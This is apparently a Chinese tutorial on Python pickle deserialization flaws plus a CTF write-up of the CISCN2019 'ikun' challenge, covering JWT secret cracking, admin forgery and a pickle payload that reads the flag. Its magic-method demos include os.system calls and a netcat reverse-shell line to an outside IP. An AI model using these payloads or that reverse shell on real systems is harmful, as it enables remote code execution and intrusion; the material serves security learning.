介绍
首先介绍一下python反序列化是什么。和php一样 python反序列化主要就是通过模块的调用,来将一串数据转化成序列化形式,以此来便于传输数据,同样,不恰当的反序列化可以造成很严重的反序列化漏洞。
模块介绍
在python中主要有两个模块可以对对象进行序列化操作,一个是pickle模块(这个模块比较常见),还有一个是json模块,主要是四个方法可以进行序列化和反序列化dumps(),dump(),loads(),load(),这两个模块的方法都一样,都是上述四个。dumps()和dump()都是对数据进行序列化操作,loads()j和load()都是对数据进行反序列化操作,dumps和dump还有loads和load 方法 唯一不同的点都只有一个,就是dumps和loads是直接对代码中定义的列表等对象进行序列化和反序列化,dump和load则是从文件中读取对象来进行操作。
代码演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import pickle p_dict = {'name': 'st3r' , 'age': 20 , 'isMarried' : False} p_serial = pickle.dumps(p_dict) print(p_serial)
p = pickle.loads(p_serial) print(p)
print("--------------------------------------")
import json class Person: def __init__(self, name, age, isMarried): self.name = name self.age = age self.isMarried = isMarried
person = Person("st3r" , 20 , False) per_ser = pickle.dumps(person) print(per_ser)
per_ser_json = json.dumps(person) print(per_ser_json)
print("-----------------------------------") PS:pickle模块可以序列化一个实例对象 而json不可以
|
PS:上述json模块,序列化对象报错

魔术方法
在python中也有和php一样的魔术方法 可以在序列化和反序列化进行的前后自动调用,主要是 四种方法
1 2 3 4
| __reduce__() __reduce_ex__() __setstate__() __getstate__()
|
魔术方法使用演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <__reduce__>方法
import pickle import os class A: def __reduce__(self): print("反序列化时调用") return (os.system,('calc',)) a = A() p_ser = pickle.dumps(a) print("serializing....") p = pickle.loads(p_ser) print("unserializing....")
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <__setstate__>方法 import pickle import os class B: def __init__(self,name) self.name = name def __setstate__(self,name): os.system('calc') b = B('st3r')
print("serializing....")
b_ser = pickle.dumps(b)
print("unserializing....")
b_unser = pickle.loads(b_ser)
|

1 2 3 4 5 6 7 8
| class C: def __getstate__(self): print("serializing....") os.system('nc 47.101.147.182 5566 -e cmd.exe') c = C() c_ser = pickle.dumps(c)
|

基础的理论知识就说完了,现在来看一道例题,被说烂了的ciscn的例题 [CISCN2019 华北赛区 Day1 Web2]ikun
[CISCN2019 华北赛区 Day1 Web2]ikun
在buuoj上面有复现
首先打开网站,就看到了咱们家哥哥

看到有一行小字 “一定要买到lv6!!!” 一开始不知道这个lv6是个啥,在看网页源码的时候发现….

这些图片就是lv几几几,又看到底部有下一页,并且url后面有一个page参数http://a478c1d4-baa9-4e9b-a36a-d12d36971c6e.node5.buuoj.cn:81/shop?page=2
那就好办了 直接python来找一下了
1 2 3 4 5 6 7 8 9 10
| import requests url = "http://ae5f4699-b1f8-4f06-8a2f-8802ea25773d.node5.buuoj.cn:81/shop?page=" for i in range(1,300): u = url + str(i) resp = requests.get(u) if 'lv6.png' in resp.text: print(u) break else: print("Not in page" + str(i))
|
可以看到lv6在181页,那就直接跳到181

可以看到 第一个就是lv6,点进去看见结算界面

刚刚注册的时候可以很明显看到,咱身上只有一千块钱,绝对是不够买的,那就抓个包看看

在cookie那里看见了有JWT,立刻想到jwt伪造越权,直接工具尝试破解密钥
可以看到密钥就是1Kun,那把包发出去,看看还有没有什么别的
既然这样,那就直接修改jwt为admin的

重新发包,成功进入后台

查看网页源码,可以看见源码下载的地址

下载下来,代码审计,主要就是一个pickle反序列化,在Admin.py里面
这样的话就好构造了,不过这个写法是python2的写法,所以也需要注意构造payload的环境
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle import urllib import commands
class payload(object): def __reduce__(self): return (commands.getoutput,('cat /fla*',)) p = payload() p_ser = pickle.dumps(p) a = urllib.quote(p_ser)
print a
|
这一步可以直接在burp里面,重新点击一键成为大会员,看到post传参become直接修改就行
